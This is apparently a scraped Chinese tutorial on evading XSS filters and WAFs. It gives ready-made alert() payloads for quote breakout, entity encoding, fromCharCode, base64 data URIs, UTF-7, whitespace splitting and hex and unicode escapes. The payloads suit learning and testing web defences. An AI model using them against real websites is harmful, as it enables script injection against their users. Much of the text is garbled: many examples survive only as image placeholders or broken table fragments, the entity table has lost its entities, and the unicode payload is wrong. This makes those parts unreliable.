[TOC]

0x00: 前言

最常用的XSS漏洞测试代码:

<script>alert("XSS")</script>

当这个代码被注入到输入框或是url参数的时候,会成功也可能会失败,如果失败了。也不意味着网站就是安全的。需要继续渗透。

0x01: 常规WAF绕过思路

  • 标签语法替换
  • 更换xss代码 特殊符号干扰 加 / 或者@#123456%特殊字符进行干扰
  • 提交方式更改 get更改为post
  • 垃圾数据溢出 多加一些特殊自如进行干扰
  • 加密解密算法 加密xss代码
  • 结合其他漏洞绕过

0x02:转义字符串

第一步是查看当前的页面源代码,看看是不是包含了我们的这个测试的字符串,如果你发现了。你就会发现很有意思。要细心。看到了把。是在一个输入(INput)标签里。

<INPUT type="text" value='<SCRIPT>alert("XSS")</SCRIPT>'>

在这个例子,我们可以修改我们的输入来包含两个字符,来让代码跳出那对外围的单引号,

'><SCRIPT>alert("XSS")</SCRIPT>

现在我们的代码执行了。因为我们闭合了前面的html标签,就触发了XSS,但是,你可能会发现,页面上会显示一个多出来的单引号,为什么,因为后面的那个原来的单引号没有匹配,我们继续修改我们的代码。

'><SCRIPT>alert("XSS")</SCRIPT><xss a='

所有的输入就会变成这样:

<INPUT type="text" value=''><SCRIPT>alert("XSS")</SCRIPT><xss a=''>

Ok了。Javascript代码就注入了。这个没什么意义,你可以自己改,但是符合html的标准,页面不会出错。

绕过单引号过滤继续!
同样的例子,但是我们假设管理员在我们的单引号之前放置了一个“\”,有时候双引号之前也会放置,通过一些类似add_slashes的函数可以实现,这个就是转义字符,我们先前的代码就会变成这样

<INPUT type="text" value='\'><SCRIPT>alert(\"XSS\")</SCRIPT>'>

有一些方法可以继续,但是要看过滤的那个函数是怎么放的了。其中一个方法就是使用字符实体,学过html的都知道,就是一些特殊字符会用一些固有的符号组合来表示,举个例子,你不能用<>表示大于和小于,因为这被解释为html标签,但是,你如果要用,可以用下面的来代替。

" " 双引号
& & & &符号
< < < 小于号
> > > 大于号

使用"或者"来代替我们的双引号,有时候可以绕过过滤。例子:

<script>alert("XSS")</script>
<script>alert(&quot;XSS&quot;)</script>
<script>alert(&#38;XSS&#38;)</script>

如果这都被过滤了。那我们可以使用JavaScript的fromCharCode函数,这个函数把指定的Unicode值转换成字符串。

<script>alert("XSS")</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<INPUT type="text" value='\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

你可以使用Mysql数据库的char(字符,字符)来转换字符到字符码,大家可以使用自己喜欢的就行了。转码的工具还是很多的。

0x03:绕过 | | :—- |

空字符 (%00) 使得过滤器不能看到完整的 <SCRIPT> 标签. 只在 IE 6.0, IE 7.0 可以

0x04:双引号配对的bug

绕过这种过滤就是寻找闭合的标签,然后构造来突破

例子

| XSS过滤绕过技术(一) - 图1"> | | :—- |

通常我们认为,img 标签里。前两个引号被认为是一对,什么都不做,下一个引号和最后的匹配,但是事
实不是这样,所有的浏览器都在试图修正这一问题。
结果最终如下:

| XSS过滤绕过技术(一) - 图2“> | | :—- |


0x05:不全面的过滤器

我们看看当开发者已经把能想到的都过滤了或者什么的。就安全了吗?不。我们可以依然可以向数据指令里插入代码。我们通过 base64 加密<script>alert(‘XSS’)</script>.

| CONTENT=”0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K”> | | :—- |


使用反引号

如果你需要使用双引号和单引号。使用一些诡异的用法吧 (重音符混淆)。

| XSS过滤绕过技术(一) - 图3 | | :—- |

转义字符

转义字符有时候很有用,可以对付一些简单的过滤器

XSS过滤绕过技术(一) - 图4

结果如下:

| XSS过滤绕过技术(一) - 图5 | | :—- |

编码

使用 utf-7 编码可以绕过
例子

| | | :—- |

使用UTF-7编码后

| +ADw-script+AD4-alert(+ACI-XSS+ACI-)+ADw-/script+AD4- | | :—- |

然后所有的加号需要被改成%2b,否则会被浏览器识别为连接符

| %2BADw-script%2BAD4-alert%281%29%2BADw-/script%2BAD4- | | :—- |

一个列表:

字符 实体引用
空格 %20
/ %2F
%22
? %3F

内嵌TAB

| XSS过滤绕过技术(一) - 图6 | | :—- |

内嵌被编码的TAB

用来分开xss攻击代码

| XSS过滤绕过技术(一) - 图7 | | :—- |

内嵌换行符去分开xss代码

| XSS过滤绕过技术(一) - 图8 | | :—- |

编码回车符去分开xss代码

| XSS过滤绕过技术(一) - 图9 | | :—- |

0x06:附加的开括号

Franz Sedlmaier提出,利用这个xss向量可以绕过某些检测引擎,因为这些引擎通过拼配最早出现的一对尖括号,并且提取其内部内容作为标签,而没有使用更加有效的算法例如 Boyer-Moore(寻找打开的尖括号以及相关标签的模糊拼配)。代码中的双斜杠可以抑制额外尖括号导致的javascript错误。

| < | | :—- |

0x07:利用IE特性绕过XSS

IE中,两个反引号``可以闭合一个左边引号。
Payload:``onmousemove=alert(document.domain)

0x08:十六进制绕过xss过滤

16 进制转换有16进制每一位上可以从小到大为0、1、2、3、4、5、6、7、8、9、A、B、C、D、E、F等16个大小不同的数,逢16进1,其中用 A、B、C、D、E、F、(字母不区分大小写)六个字母来表示10,11,12,13,14,15,16
双斜杠 + 16 进制绕过

Payload: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e               
\x3c  \x3e  <>

0x09: unicode绕过触发XSS

Unicode(统一码、万国码、单一码) 是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode 是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求。

双斜杠 + Unicode编码

\\u0003c  \\u003e   <>

Payload: \\u0003cscript\\u003ealert(document.domain);\\u003c/script\\u003e